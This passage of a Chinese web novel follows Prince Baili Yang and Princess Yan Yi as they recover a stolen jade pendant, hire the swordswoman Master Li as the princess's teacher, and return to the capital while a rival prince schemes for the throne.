这次开设榷场的事情绕不开永定大营与远宁城的官员和军将们,褚氏毕竟在此地经营多年,即便是之前已大受打击,可褚之邑仍任着定襄将军,他若是想对榷场做些什么还是很不能令人放心的。百里漾自己终究不能一直盯着榷场,只能让值得信赖的人来充当他的眼睛,傅殷就很合适。 颜漪知道傅殷这个人,也知道百里漾是要重用傅殷,没有再多问。她看得出眼下百里漾对她突然练剑的事情好奇,正要开口解释,百里漾先道:“日头晒,我们先到室内。” 站在他面前的王妃练完一套剑法,因为上了强度的运动使得气血上涌再面上显出了一团胭脂红色,靠近眼眸的部分更是晕开了,像是胭脂薄红,极为艳丽,叫人挪不开眼睛。她现在还有些微喘,显然是还不怎么适应这种强度的运动,离得近了可以感受到她面上蒸腾的一股热气。 百里漾从未见过这样的颜漪,他定定看着她,感受到胸腔里的心脏正以不同寻常的频次快速跳动着,喜欢的不得了。 可这时候的日头是有些晒的,王妃刚练完剑,出了一身汗,浑身估计黏糊糊的不好受。百里漾一面拉着颜漪往阴凉的地方走,一面听她说这几日她在城中闲逛时遇到的人和事。 原来这几日颜漪待在宅邸中闲来无事便带着初禾等人外出在远宁城中闲逛。她们虽然只做了简单的装扮,戴上幂篱,但明眼人也能一眼瞧出她们不是寻常之人,更别说身后还有带刀护卫随行了。 寻常人见之多是自觉避让,但总有“艺高胆大”之徒盯上了她们。只不过这个“艺”是偷。这世道哪里都不缺偷鸡摸狗之辈,越是人多密集的地方越容易出现他们的身影,更何况远宁城这样特殊的城池。从颜漪等人踏入市集开始,暗处便有眼睛盯上了她们,准确来说是盯上了颜漪腰间的配饰——一块色泽盈润的玉佩。 能够挂在江都王妃腰间的配饰自然是好东西,小偷不仅识货,胆子还特别大。明知颜漪和初禾主仆二人有人时时保护,可他们还是动了心,更是决定冒险,准备在有护卫的情况下动手偷玉佩- 作者有话说:更新啦。后面四五天要准备去外地,所以更新可能会不稳定,请大家见谅。 第150章 剑术师傅 试想一下, 能够放心地任由两个年轻漂亮的小娘子在远宁城之中随意行走,她们身边的护卫力度该是多大?但小偷还是决定动手了,所以才说他是“艺高人胆大”。 颜漪自然不会知道自己出个门就被贼惦记上了。当她和初禾走入更加繁华热闹的地段时, 不知从哪里钻出来两个六七岁的孩童,也不看路,一头朝着颜漪撞过来。初禾眼尖,在两个小孩要冲撞到她的主子之前就以身护住,代替主子被撞。 一开始只是以为两个小孩不懂事, 顾着玩闹不看人, 训过几句就将人放走了。可走了几步之后, 初禾发现原本悬挂在王妃腰间的玉佩不见了,丝毫不用多想就知道定然是在那两个孩童撞过来的时候被窃走了。 随行护卫的侍卫脸都绿了, 在他们的眼皮子底下竟还让人偷窃走了王妃的玉佩,打脸, 实在是打他们的脸。若是不能抓到那个胆大包天的小贼,找回王妃的玉佩, 那他们以后也没有脸继续当大王的侍卫了。 百里漾听到这里惊了, 生气得不行, “是谁胆子那么大,连我送你的玉佩都敢偷。” 他很快意识到颜漪被偷的玉佩是他之前送的礼物,这次来边境他亲眼看着初禾收拾进饰品匣里的,前几日也是见着王妃一直佩戴的。 “那小贼后来抓到了么?” “大王勿气,贼后里面抓到了,不过却不是我们的人抓到的。”颜漪安抚了一下百里漾气呼呼的情绪,继续将当日发生的事情缓缓道来。 能够跟在王妃身边随行护卫的侍卫都是侍卫亲军之中最顶尖的好手,很快就锁定了偷玉佩的贼。可那小贼实在狡猾,被发现之后借着人群的遮掩一直在逃窜。随行侍卫顾及着王妃的安全, 并没有分出多少人手去拿人,一时之间竟拿那小贼没有办法。 一开始百里漾不太明白偷玉佩的事情怎么与王妃练剑联系上的,听到这里大概猜出来一点了。偷玉佩的贼不是侍卫抓到的,那么出手抓贼的人恐怕就是王妃遇到的高人,即便不是也必然是有关系的。 那小贼一开始只是借着对远宁城的熟悉躲避侍卫的追捕,但侍卫也不是吃素的,没过多久就克服了对环境不熟悉的劣势将小贼逼入了一条小巷的死角里。那小贼身手实在灵活,跟个猴似的,三两下攀着墙就翻过去了。 侍卫都追到这里了,怎么可能眼睁睁地看着他逃走,毫不迟疑地一个个也纵身翻过墙去。可这一翻过去就出问题了,因为墙的后面是一户人家的院子。侍卫们刚翻过去就听到小贼的一声惨叫,等到颜漪带着初禾等人赶到的时候,几个侍卫正捂着胸口警惕地盯着对面正坐着喝茶的中年女子,而那个小贼则是跪倒在一旁,茶桌面上还摆着一枚质地莹润、雕工精美的玉佩,也正是颜漪失窃的那一枚。 而在颜漪到来之前,侍卫因为急着拿人与中年女子起了冲突,结果没有打过人家,所以事态就发展成了颜漪所见到的模样。 “那人一对四还打赢了?!”百里漾多多少少是觉得有些不可思议的,亦是吃惊。他和颜漪身边随驾护卫的侍卫皆是千挑万选出来的好手,单独拎一个出来一挑五都不是问题,可如今对上一个中年妇人竟不是对手,可见对方的厉害。 “王妃可是请了那位高人做剑术师傅?”百里漾眼睛更亮了,他再细细回想方才所见王妃使出的剑术实是精妙,轻巧灵动却不失威力,确实很适合女子练习。不过短短几日的功夫,王妃的剑术已经很有样子了,背后很有可能就是那位高人在指点。 “还未成功,只是受了她几下指点。”颜漪稍有些遗憾,可也不算是气馁,毕竟那位厉师傅并没有松口答应做她的剑术师傅,可并非完全没有机会。若是一点都不愿,完全没有必要指点她剑术不是么?她还是很有希望的。 对此百里漾表示理解,厉害的人多多少少都有点自己的个性和脾气,这时候徒弟也不是随随便便收的,不仅讲究缘分,还要看拜师之人的诚意。当他得知颜漪这几日都往那位厉师傅住处去,便知此事是很有希望了,不由喜道:“此事大有可期,可有需要我的地方?” 那位厉师傅至今没有松口答应,恐怕便是想看他们的诚意了。这不是难事,若是能够为王妃请来一位厉害的剑术师傅,百里漾是很愿意为此贡献出自己的一份力量的。 “正想拜托大王此事。”颜漪知道百里漾不会阻拦她练习剑术,可见他如此为自己高兴心中仍是一暖,面色温柔,“厉师傅说她若入府怎可不先见主人家。” 这是那位厉师傅的原话,说得客气,其实深层意思就是要让她做剑术师傅可以,但是需要百里漾和颜漪夫妇俩一同来请,展现诚意。原本厉师傅知道她的身份后因为不想与权贵扯上关系而拒绝了她,只是她日日前来使得厉师傅最终改变了主意,但也提出了要求。 “好,择日不如撞日,我这就令人备下礼物,明日便与你一同去拜访那位厉师傅。” 百里漾对此颇为振奋,扭头便吩咐人去备下厚礼,随后想到自己会不会有些草率了,于是询问颜漪的意见,“明日会不会太着急,可会有所打扰?” “不会打扰。”颜漪一直是眸中带笑注视着百里漾,闻言笑着摇头,“厉师傅说她最近的时日都得闲,让我们什么时候去都可以。辛苦大王为我跑着一趟了。” “这算什么辛苦。若能请到厉师傅那样的高人来做剑术师傅,只是跑着一趟算得上什么。”百里漾已然开始想象王妃学剑有成之后的飒飒英姿了,他看向颜漪,笑容灿烂且充满期待,“真是期待能与王妃过招的那一日。” 既然两人已经决定了次日要去拜访厉师傅请她来做剑术师傅,百里漾与颜漪便去用心地挑选明日上门拜访也是拜师的礼物,顺带着百里漾也了解了一下那位厉师傅的来历。如此厉害的一个人,不该一点名声都没有传出来,尤其是女子。尽管本朝民风已算是开放,但女子习武终归是少数,尤其是民间女子习武的就更加少了,遑论达到厉师傅这样高绝水平的只能用凤毛麟角来形容。 先前百里漾确实为颜漪的奇遇儿感到高兴,但那位厉师傅毕竟是要到颜漪身边做她的剑术师傅的,不将来历彻底查清、确定不是哪家埋过来的间客或者刺客,如何能够令人安心。以他们如今所处的地位以及处境,是真的有可能被刺杀的。 百里漾不希望颜漪出事,一丁点的差错都不能有。针对厉师傅的调查结果很快就摆到了百里漾的书案上,看完之后,百里漾彻底松了一口气。 那位厉师傅单名一个糖字,她的祖父、父亲都是镖师,第三代只得她一个,故而从小就被父亲教着习武。她在此道的天分也高,十四岁就能跟着父亲走镖了,至二十岁时更是能够自己带队走镖了,镖队里几乎没有人不服的。可干走镖的不可能不与人动手,一旦动手就很容易结下仇家,不仅如此,还有来自同行的嫉妒。那些人拿她的女子身份说事,而那时候她的父亲已经去世,加上新来的镖局头儿是个看不惯比他厉害的女人的,其中还有厉师傅不想在那恶心人的镖局待下去的缘故……总之,最后如了那些人的愿,她被“排挤”出来了。 事实证明,人蠢没药医。那镖局把厉师傅赶走之后,寒了不少老人的心,加上新镖局头儿实在不干人事,陆续又走了不少人,最后的结局就是镖局败落了。 离开镖局之后的厉师傅自己组了一个镖队,走南闯北地闯下了不小的名声。前几年,厉师傅感觉到乏了,想找个地方待几年歇歇,将镖队叫给自己的徒弟带,随后就来到了远宁城。 总之,厉师傅来历背景是没有问题了,百里漾也能放心等明日陪同颜漪去拜师了。 等颜漪去沐浴更衣之后再回来时,太阳已落下山去。令吩咐侍人摆饭,百里漾与颜漪对坐着用过晚膳后,携手在宅邸中漫步消食,交流一下彼此这几日遇着有趣或是棘手的麻烦事。 到了晚间入睡安寝的时候,时隔漫长的几日又重新将颜漪揽入怀中,感受着怀中人香香软软的美妙感觉,百里漾打心底有一种满足感。 卧室里点了灯烛,不过离床榻很有一段距离,只是为了确保起夜的人不至于一点也不能视物,也不会因烛火的光太亮而扰了榻上之人的安眠。 安神香的气味沉静轻柔而绵长,百里漾精神却很兴奋,他拥着怀里的王妃语调悠闲地说着话,弄得颜漪好几次抬首看他。 “怎么了?”百里漾莫名。 颜漪轻轻摇头,唇边的弧度扬起一点,不好说现在的百里漾给人的感觉就像是一只吃饱喝足懒洋洋的大猫,这只大猫不仅慵懒还带着点憨态,让人有一种想要挠挠他下巴的冲动。 百里漾低头,灯下看美人,不对,烛火离得远,床榻这块的光线是昏暗的。也就是他们彼此考得很近,如此距离之下才能够勉强看清彼此的眉眼,他连她小扇子似的扑闪扑闪的睫羽看起来都是一小片朦胧的影子。 怀里温香软玉,温热的触感透过一层薄薄丝滑的寝衣传递到身上,百里漾手中开始发汗,心跳也有点快。他忍不住有些心猿意马,这具年轻充满了旺盛精力的身体实在是一点诱惑都受不住。 “七娘,你困了么?” 头顶传来百里漾的轻声询问,声音略带着暗哑艰涩,还没等颜漪回答,她抬首就看到了百里漾仿佛在夜里冒光的眼睛。 很亮,像是有一把火在燃烧。 颜漪像是被烫到了一般,眼神想避开,下颔却在下一瞬息被百里漾的手擒住了,强势却又温情,眼前蒙下一片阴影,她下意识地闭上眼睛,接着唇上被另一抹不属于自己的温软轻轻触碰,一下,两下,然后含住。 彼此的呼吸在瞬间变得急促、紊乱。 百里漾尝到了那一抹香甜之后愈发贪求了,环着颜漪腰肢的手用力让她愈发贴近自己,近距离感受彼此身体的变化,他声音低沉,带着点蛊惑,“若是不困的话,我们一起来做点事情吧。” 至于具体做的是什么事情,也就只有他们二人能够切身体会了- 作者有话说:更新了。 150-160 第151章 上门拜访 因为惦记着次日要去拜访厉师傅的事情, 虽然身体和情绪上很兴奋,但理智让百里漾不敢闹颜漪太晚。云消雨歇,一切结束之后, 两个人身上都是汗淋淋的,叫了水,浴洗之后再回到床榻上相拥而眠。 次日一早,百里漾与颜漪醒来,洗漱更衣、用了早膳之后, 乘坐马车前往厉师傅所居住的地方。因为是拜访, 也有请人出山之意, 礼数方面自是要做足了,也是给厉师傅颜面。故而此次出行虽比不上王驾出行的隆重, 可是随行者众,厚礼盈车, 一路过来可谓是壮观。 厉师傅的住所在远宁城中城南一隅,周围颇是僻静, 车马过处, 几户人家的门扉偶尔探出来几个脑袋看看是怎么个事。乍看到那么多人, 还戴甲佩刀,纷纷倒吸了一口冷气,下意识想要缩回去,但看这群人护着前面看着就华贵的马车只是路过,好奇心作祟,胆子一点点大了,便又把脑袋伸出来看看这群人要去哪里。 到了地方,百里漾先下马车,站在外面扶颜漪下来。他做这些事也不是一两回了, 明明这以前是初禾的活儿。可如今初禾已是很乖觉了,但凡大王和王妃在一起,她就很自觉地退到一旁,免得打扰了他们的相处。 上门拜访,拜帖是要有的。 侍从上前轻叩门环,铁木敲击的声音在静寂的巷子里显得格外清脆,很快门就被打开了。开门的是一个约莫十五岁的少年,乍看到门外这么多人吓了一跳,而且这些人一看就是官府了,不免面上有些慌乱,但还是强自镇定,问道:“敢、敢问阁、阁下,有何贵干?” “我家主人乃是江都王与王妃,今日前来拜会贵府主家,可否代为通传?”侍从拱手道。 少年大惊,顺着侍从让出来的方向看去,只见不远处站着一对衿贵非凡的男女,察觉到他的目光面上含笑朝他微微点头示意。少年只觉得手和腿控制不住地想抖,整个江都有谁会不知道江都王和王妃代表着什么,而最近这段时间据说二人确实是到边境来了。 意识到外面站着的人极有可能真的是江都王和王妃,没怎么经过事的少年更加慌乱,更不知道如何是好了,好端端的,怎么江都王和王妃上门了,他有一种在做梦的感觉。可先头叩门的人说他们是来拜访的,应该不是坏事吧。 就在少年迟疑不知如何应对的时候,他身后传来声音,音色有些沉,但能听出来是一女子,“怎么开个门这么磨蹭,不是说有人来了?” 门内的厉师傅将小徒弟推开,看到门外衣观整肃的一群人之后,目光最后精准地落在百里漾和颜漪身上后,她眉头微微上挑,眼里笑意加深,“将人请进来吧。” 小院内,少年上前给三人奉茶。 他到现在还跟做梦一样,江都王夫妇竟亲自来拜访他的师父,还说要请他师父到江都王宫去给王妃做剑术师傅。请他师父到江都王宫去给王妃做剑术师傅?真的假的,这不就是相当于自己师傅要给王妃也做师父了。虽然他知道他师父很厉害,配得上这样的阵仗来请,但是还是忍不住狠掐一把自己的大腿肉来看看是不是在做梦。 嘶!好痛,这是真的。 少年不再怀疑这件事情的真实性。可是,江都王夫妇是怎么知道师父的,还要请她做王妃的剑术师傅,这是什么时候发生的事情?他分明前一段时间才来过的,短短的时间就发生了这么多他不知道的事情么? 少年想不明白,厉师傅这会儿也懒得与小徒弟解释,她的注意力这会儿全在百里漾与颜漪身上。之前这位江都王妃提出要请她教习剑术时她已是吃了一惊,她固然是欣赏颜漪的,可是考虑到颜漪的身份却拒绝了。可是颜漪的韧劲和天赋让她实在有点舍不得,于是在经过一番思虑过后才提出让他们夫妇俩亲自来请。 当时颜漪是答应了,厉师傅本以为她说动江都王怎么少说也要三五日,可没有想到,这才过了一日,她就将人带来了。 百里漾昨日从王妃口中听说了这位厉师傅,今日便是第一次见到了她。 怎么说呢,这位厉师傅的长相只能算作是清秀,看着三十来岁接近四十岁的模样,可能因为走镖奔波的缘故使得她面上带出了一些风霜之感,看着应该比实际年纪还要大一些。寻常人一见到她,最先注意到的是她的眼睛,目光深邃,锐利而不掩锋芒,通身的气度更是在这个时代的绝大多数女子身上见不到的,像一柄藏锋于鞘的利刃,给人一种出鞘可见血的凛然威势。 百里漾自己也是练武之人,他能够在厉师傅身上察觉到一股与他类似的气场,他能够感觉得到,眼前的这位厉师傅的确是一个厉害的高人,让他更加坚定了要请她回去给王妃做剑术师傅的决定。 当百里漾向厉师傅郑重说明来意,愿以厚聘请她做王妃的剑术师傅时,这位厉师傅笑得有些意味深长,问道:“大王不怕王妃学成之后将大王都比下去?” 她这些年走南闯北见过太多形形色色的人了,夫妻也有许多,有钱没钱的,亦或是权贵,她也见过不少。寻常女子哪怕只是要强些就会被骂泼妇、不贤惠,更别提习武了,大户人家的女子更是要讲究贤良淑德,习武之事更是极为少见。只因这世上的绝大多数女子都是要嫁人的,习了武性情强势只是其次,若是因此压过夫婿一头是不能被允许的。 这世上的男子有几个是愿意被妻子压制、显出自己不如妻子的?权贵之家更是如此,因此她免不得要问一句。 “若王妃在厉师傅的教导之下能胜过我,日后我可就要王妃保护我了。”百里漾握着王妃的手,两人相视一笑后,他答道。他知道厉师傅在顾忌什么,自然愿意给出他的诚意,至于真心还是假意,他相信厉师傅看得出来。 聘请厉师傅给王妃做剑术师傅的事情就这么敲定了,若是厉师傅愿意可以就此随百里漾和颜漪回他们在远宁城下榻的宅邸住下,待日后返回江都郡城时一同过去。可厉师傅说她还有一些事情要交代给底下的人,百里漾便说待她处理好一切后再过来请她。 等百里漾与颜漪离开之后,少年看着几乎要堆满院子里的礼物以及石桌台面上喝了一半的三只茶杯,还有点愣愣地回不过来神,实在是今日发生的这一切太过于超出他的认知了。 “愣着干什么,还不快把这些都收拾了。”厉师傅看着这个傻愣傻愣的小徒弟,没好气说道。她当时怎么就收了这么呆的一个徒弟。 “哦哦哦。”少年赶紧去收拾茶杯,收拾着收拾着他终于是反应过来了,眼睛瞪得溜圆,仍是觉得不可思议,“师父,您真的要去给江都王妃做剑术师傅了?!” “方才你不都听到了么。”厉师傅端起自己的茶杯喝着,淡淡说道。 少年道:“不是,我、是听到了,只是觉得难以置信。”江都王啊,那可是真正的天潢贵胄,皇帝的儿子,听说还是皇后所生,那些个官老爷平常想见都见不到的人物,今日来他师父的小院拜访,不,准确的来说是拜师来了。 “你觉得你师父配不上?” 少年更急了,连忙摆手道:“配、配得上,师父如此厉害,教谁都是绰绰有余的。只是,您去了江都王宫,我们该怎么办?”他语气里是掩不住的失落、不舍以及离了师父不知道如何是好的茫然无措。 厉师傅到底还是心软了些,语气也软下来,“不是还有你师姐师兄他们在么?有他们在,镖局的事情我也能彻底撒开手了。我都干那么多年了,到王宫里享享福也是一个不错的去处。” “我只是、只是不习惯。”少年嘟囔道,“您若是去了王宫,那我和师兄师姐想见您一面岂不是很难?” “这倒是一个问题。” 眼看着厉师傅摩挲下巴似乎真的在考虑这个问题,少年不由喜笑颜开,但在下一瞬就被一巴掌拍到了脑壳上,“臭小子,还当自己是奶娃子啊。遇着事自己弄不明白的就去找你师姐师兄们,别想着整日来烦我。” “哦。”少年悻悻道。 在厉师傅的指挥下,他动作麻利地收拾了院子里的东西,那些礼物的贵重程度让他一直在咋舌,浑然一副没见过世面的模样。但这也能说明江都王夫妇对他师父的看重,倒让他的心安定了不少。 “师父,您真的要去给江都王妃当剑术师傅了。”过了好久,少年仍是发出了如此感慨,又惊喜道,“那岂不是相当于王妃是我的师妹了么?” 他如今是师父所有的徒弟里最小的,头上全是师姐和师兄,想到有人能管他叫师兄,那感觉真是美滋滋。可还没有美多久呢,他师父凉凉地来一句,“你若是有胆子敢冲着王妃叫师妹,那你也能算是当上师兄了。” 少年的脸直接僵硬了,整个人耷拉个脑袋彻底萎靡了。 管江都王妃叫师妹,他就算是向天借胆也不敢啊。 少年:“可是,师父,我还是不明白,您不是最不喜欢与那些权贵打交道的么,这次怎么就答应下来了?” 厉师傅:“你以为收一个哪哪都顺眼的徒弟那么容易啊。” “哦,我知道了。”少年明白了,这是师父在嫌弃他们师兄姐弟妹几个笨。 三日之后,厉师傅交代完那些徒弟之后就自己带着行礼来到了远宁城中百里漾与颜漪下榻的宅邸。一开始门房并不认得她,以为她是来闹事的要赶她走,转眼想起之前大王与王妃交代过此事,不敢自己擅自主张,令人入内禀报,之后是颜漪亲自出来迎她进去。 百里漾近来颇为惆怅。 怎么说呢,王妃找到了一个合乎心意的剑术师傅教她练习剑术,这无疑是一件好事。一个认真教,一个态度无比认真地学,进步飞快,令人欣慰。可随之而来的问题就是,他与王妃相处的时间变少了。 明明他紧赶着将榷场的事情办完,为的就是要陪王妃在边境游一圈的。可王妃现在的状况明显是沉迷于练武,早晚武课从不缺席,有些时候百里漾想要找人只能去校场去找才能见到人。他的王妃更多的是被厉师傅给抢走了。 百里漾有点哀怨,但也不好说什么,他并不愿意因为自己而影响了王妃练习剑术。因为他看到了王妃在练习剑术时身上的那种光彩,是坚毅且坚韧的,更有百折不挠的锐气和韧劲,即便手上的剑被厉师傅打掉一次又一次,她也能再次捡起来重新一遍又一遍地挥动。 习武不是易事,尤以颜漪当下的年龄来说。她这年纪虽说不到二十仍是年轻,但对于练武来说却是晚了。 习武要趁早,为的就是趁年纪小根骨还没有定型的时候,对其进行塑造,使得身体能够向着能够适应高强度练武的方向发展,如此习武才不容易伤身体,武学之路才能走得更远。而人一旦过了十二、三岁,根骨就几乎完全定型了,已经不再适合练武了,即便强行练更多的也是损伤身体,也注定了不会有多大的进益。 可颜漪又有些不太一样。她在及笄之前是学过武的,只是后来没有再练,荒废了几年,如今再捡起来不是不可,只是要遭一些罪,还需要付出更多的汗水与努力才会成。 百里漾只是有些心疼,夜晚就寝后他曾经不小心碰到王妃,引得她一声低低的痛呼。他连忙去看,在她的手上看到了一些青色的淤痕,在那双玉白色的藕臂上尤为显眼,简直要刺痛百里漾的眼睛。 “疼么?”百里漾小心翼翼地问出口,想要触碰那些青色的痕迹却又怕自己弄疼了她。 “我若说不疼大王也不会相信。”颜漪看到了百里漾眼里对她的疼惜和珍视,心里无限柔软,也没有忘记重申自己的意愿,她将手搭在百里漾的手心里,轻轻握着,“疼的,但是我愿意承受这份疼痛。大王护我,我也想有朝一日也能够护着大王。” 王妃都这样说了,百里漾除了支持她还能如何。他只是轻轻地叹了一口气,问道:“可曾涂了药?”心里还是万般心疼,不由怨厉师傅下手也太狠了- 作者有话说:更新啦 第152章 安宁 “此前初禾已为我上药了, 大王勿要担心。”颜漪轻轻握着百里漾的手掌让他安心,也为厉师傅说好话,“厉师傅用心教我, 下手亦有分寸,大王可不要怪罪于她。” 颜漪满意厉师傅这个剑术师傅的一点是她不会顾忌自己江都王妃的身份而在教导时手下留情。教人练武若是瞻前顾后,不仅教导师傅束手束脚,被教导之人也难有长进。她练习剑术并非只做花架子,她希望有朝一日能够护住百里漾的话也是真的。 “我、我知道的。”百里漾的声音有些低。他也是自小练武的, 怎么可能看不出来王妃身上的这些伤痕只是浮于表面的外伤, 只是看着可怖罢了, 并没有伤及筋骨,敷上药不出三日便会痊愈。只是这几日下来, 旧伤未愈又添新伤,布落在那白皙如玉的肌肤上瞧着就令人触目惊心, 他除了心疼也别无他法。 至五月中旬,边境榷场的各项事务已经进入尾声。百里漾彻底不再自己盯着, 而是使人充当他的耳目按时给他汇报情况。颜漪跟着厉师傅练习剑术, 每日上早晚两次武课, 风雨无阻。她这般辛苦勤勉是有收获与成效的,如今已能与百里漾过上十几招有来有回的了。 端午时,百里漾替颜漪在厉师傅那里请了三日的假,带着她在边境周围跑了一圈,欣赏了边境苍茫辽阔的风光。 进入下旬,榷场正式建成投入使用,诸事已毕。与此同时,大衍其余的几处榷场也都或建成或进入尾声,离渊那边也颇为安分, 离渊骑兵掠边之事不再发生,大衍边境迎来了一个相对平和安定的时期。 等百里漾与颜漪回到江都郡城时已是五月末了。王驾仪仗返程,范国相率领江都的众臣于城外三十里迎接,崔栋也在队列之中。两月余不见,百里漾总感觉崔栋好像白了一点点,没有之前那般黑了,人似乎也清减了些,凑得近些还能看到他眼睛周围黑了一圈以及吊着的大眼袋,整个人略显憔悴和沧桑。 人多眼杂,百里漾不好多问。等入了王宫,让范国相等人退下后,在长乐殿百里漾才指着崔栋的黑眼圈和眼袋问道:“你、这是怎么回事?”江都境内近来颇为太平,百里漾不记得有发生什么大事需要崔栋忙碌到连黑眼圈眼袋都出来的地步啊。 “别提了,孩儿他娘前段时间吐个不停,我也被折腾得不轻,好一阵子没有睡过好觉了,这前两日才消停的。”提到这个,崔栋是满身的心累加身累,要个孩子也太难了。 “女子怀孕不易,表兄是该多担待些。”百里漾只能如此安慰道。 算算日子,卢氏这会儿应该是进入了孕晚期,不免出现了一些诸如孕吐、浮肿之类的孕期症状,真正难受的是孕育孩子的卢氏。可看崔栋这副模样,他作为准父亲,若是对妻子不上心也不至于将自己折腾成这样。 百里漾拍着崔栋的肩膀由衷感慨道:“我相信表兄将来定然会是一个好父亲,如今已经很有样子了。” 崔栋没有应这句话,但眉眼都是笑意。百里漾在他身上找到了一种名为幸福的味道,不由感觉真好,至少他们当下是快活安乐的,目前来说这就已经足够了。 六月初,天使携皇帝诏书抵达江都,从兴业十四年即当年起,恢复旧制,令各地诸侯王于每年岁首朝献。这意味着皇帝允许在外就藩的诸侯王年年回京了。 夜间入睡时百里漾与颜漪说起此事,“虽然有些意外,但至少此后我们每年都能回湛京了。”他们的父母亲族都在湛京,即便时常有书信往来,可书信上的寥寥笔墨只能聊以慰藉,消除不了他们对彼此的思念,若能回去,如何能不令人欢心鼓舞。 可皇帝之前不让诸侯王们回京是为了确保太子的地位,如今改变主意,只怕是又出了什么变故。毕竟皇帝日渐老去、病痛加身是不可掩盖的事实,人岂是不死之身,天子也有山陵崩的那一日,到时可真的是天地震动。有人盼着那一日的到来,也有人希望那一日来得越晚越好,可不管怎么样,日子终究是朝着那个方向不停地向前。 “不管如何,我都陪着大王。”颜漪倾身环住了百里漾的腰身,脑袋靠入了他的怀中,以一种轻柔却坚定的声音说道。 “好,有王妃陪着,我便什么也不怕了。”百里漾心中大定,抱着颜漪,两人紧紧相拥。 另一边,其他的几个诸侯王也陆续接到了诏书。 将天使送走之后,定安王目光定定地盯着诏书上的内容,神思晦暗,随后更是一会儿喜一会儿面色阴沉的,让人难辨喜怒。 过了好一阵,定安王才抬头看向候在旁边的心腹臣子们,敲指示意他们看这道诏书,问道:“说说看,这道诏书应作何解?”这个“解”自然指的是皇帝的意思,也是定安王最关心的皇帝意属何人为储君的问题。这道诏书是否与之有牵涉? 上之所忧,臣必倍忧之。 定安王最在意的是什么,在场之人心知肚明。他们不必再看那道诏书就能够清楚地复述出其上的内容,可他们都在定安王发问之后保持了一致的沉默,并没有谁立即站出来回应定安王的问题,只因他们一时之间也没有琢磨清楚这道诏书代表了皇帝的什么用意,不好贸然出言回禀。 可久久不言是不行的,众人面面相觑片刻,最后还是国相站出来,他朝定安王拱手回道:“陛下以此诏书准大王年年朝献回京,父子得以团聚,在当下不论如何都是好事一件。” 他这话点出一个问题,那就是定安王可以接回京之机做更多的图谋,与皇帝联络父子感情,而后者无疑是重中之重。 不在皇帝跟前,有事皇帝也不会想到你。 这一点无论是对臣子还是对如定安王这样的皇子来说都是一样的。皇帝的子嗣算起来确实不丰,可是到底是有几个已经封王就藩的儿子了,说实话皇帝也不怎么缺儿子。定安王长年远在定安国,这一点是比不上东宫近水楼台先得月的,若是不时时给自己在皇帝那找点存在感,说不得皇帝哪天就忘了有他这个儿子了。 只要能够回京与皇帝联络父子感情,那怎么样都不算亏。 国相的意思定安王听明白了,他接到诏书时第一个想到的就是这点,故而面有喜色。可喜过之后,想到近来湛京传来的都不算好的消息,他的脸色才又阴沉下来。近来朝堂之上颇有些变动,而这些变动怎么看都是不利于他的。更让他惊怒的是,这些变动都是皇帝允了的。 这还不是表明陛下还是意属那个病秧子继位么?! 国相也是知道湛京近来发生的那些变动,也明白这是导致定安王情绪阴沉生怒的原因。说实话,收到那些消息时,国相的心情也好不到哪里去,毕竟辛辛苦苦花了钱又费了心里去拉拢的那些朝臣吃了挂落,任是谁心情都不会好。 可这终究是一时的挫败,并不能代表日后。 国相劝道:“只消事情没有真正尘埃落定,一切便仍旧大有可为。大王福泽深厚,天命加身,日后必定能位登九五。” 其余人也纷纷附和。 定安王听后精神一振,自己才是天命所归,一时的失意算什么,且让东宫他们先得意去,日后总有清算的那一日。 …… 兴业十四年九月,这时的卢氏已然进入孕晚期。十六那一日,在用过晚饭后不到半个时辰,卢氏突然腹痛,出现生产的征兆。崔栋连忙将稳婆等人叫来助产,自己则在产房外焦急地等待。经过了将近三个时辰的生产,卢氏最终诞下一名七斤半的男婴。 崔栋抱着刚刚降临人世红得跟猴屁股似又皱巴巴的儿子,喜极而泣,仰头看到天上一轮圆月普照,当即推翻了之前给儿子取的各种备用小名,决定管儿子叫做阿圆,连夜令人将这个消息穿回湛京让崔预夫妇知晓,顺便把给儿子取大名的事情交给了二老,让他们费心去。以至于崔预夫妇在欢喜的同时不知道抓掉了多少头发,当然,这是后话了。 百里漾与颜漪知道卢氏平安生产,安心不少,由衷为二人高兴,送去了恭贺的礼物以及补身滋养的药材给卢氏养身体- 作者有话说:更新啦。 第153章 再回湛京 至腊月, 江都上下都在为大王入京朝献之事忙得团团转;至十二,诸事完备,百里漾携王妃颜漪启程前往湛京。因兴业十三年百里漾已经回京朝献过一次, 有过经验,故而这次回湛京的路很是顺遂。 这次回京朝献崔栋也跟着回来了,卢氏则留在江都照看阿圆。阿圆如今不过是三月余的婴孩,仍是小小的一只,承受不住路上的颠簸之苦, 而婴孩也离不开亲娘, 卢氏也刚刚从生产中恢复过来, 母子俩只得留在江都,让崔栋一人回湛京去向崔预夫妇以及卢家报平安。 路上崔栋得意洋洋地向百里漾展示他给阿圆亲手所画的画像, “虽说阿爹阿娘他们暂时见不到阿圆,但有这些画像应该也能聊以慰藉了。” 百里漾看着那些画像上怎么看怎么抽象的阿圆, 很难违心地说崔栋画得好,只能敷衍过去。也不知道阿圆长大之后看到自己亲爹给自己画的抽象派画像是何种心情。 待回到王驾上, 百里漾在崔栋面前忍下的笑才全都笑了出来。颜漪捧着书看着他躺倒捧腹而笑, 不由莫名, 问他发生了何事。百里漾笑了一阵之后才将经过告知她,最后还祝愿崔栋,“希望舅舅舅母能看在他一片拳拳爱子之心的份上不会打他吧。” 能把自己儿子画成那副模样还要拿回家给爹娘看的,崔栋也是独一份了。 “大王可真促狭。”颜漪掩唇而笑,伸手轻捶了百里漾两下。 兴业十六年的正月比往年要热闹许多,对于湛京的上层权贵们来说是因为他们许多在外任职的亲友回京述职以及诸侯王进京朝献,需要走动联络的关系变多了;对于下面的普通民众来说则是皇帝于正月下旨大赦天下,颁赐京中六十以上老人钱、酒以及衣食等物,从初一至上元节夜开宵禁十五日, 初一至初五开关扑五日,君臣与民同乐。 百里漾与颜漪是腊月十六抵达的湛京,迎接他们的依旧是鸿胪寺卿。二人先入江都王宅,沐浴更衣之后前往皇宫拜见帝后。他们这次是分别前往宣室殿与椒房殿拜见皇帝与崔皇后。 仅仅是一年多的时间未见,再见皇帝发现他似乎比之前要身形消瘦了不少神色之间透着浓重的倦色。百里漾与颜漪拜见时,皇帝似乎是在强打着精神与他们叙话,但他们也只是在宣室殿待了不到半个时辰便被皇帝催促着去拜见崔皇后了。 